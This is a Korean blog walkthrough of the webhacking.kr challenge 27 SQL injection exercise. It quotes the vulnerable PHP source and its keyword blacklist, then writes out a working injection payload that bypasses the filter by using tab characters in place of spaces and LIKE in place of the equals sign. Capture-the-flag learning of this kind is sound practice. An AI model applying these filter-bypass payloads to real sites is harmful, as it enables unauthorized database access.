[webhacking.kr] 27번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 27번 문제에 대한 풀이입니다.
문제
문제 화면
문제 소스 코드
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
문제 풀이
필터링 되는 문자들
1 | 2 | 3 | 4 | 5 | 6 | 7 |
---|---|---|---|---|---|---|
# | select | ( | %20 | limit | = | 0x |
sql
select id from chall27 where id='guest' and no = ({});
해당 문제를 풀기 위한 1차 injection 문을 작성하면 다음과 같다
4) or no = 2--
select id from chall27 where id='guest' and no = ( 4) or no = 2 -- )
해당 injection문에서 필터링을 우회하기 위해서 다음과 같이 바꿔준다.
- %20 -> %09
- = -> like
4)%09or%09no%09like%092--%09
클리어
댓글남기기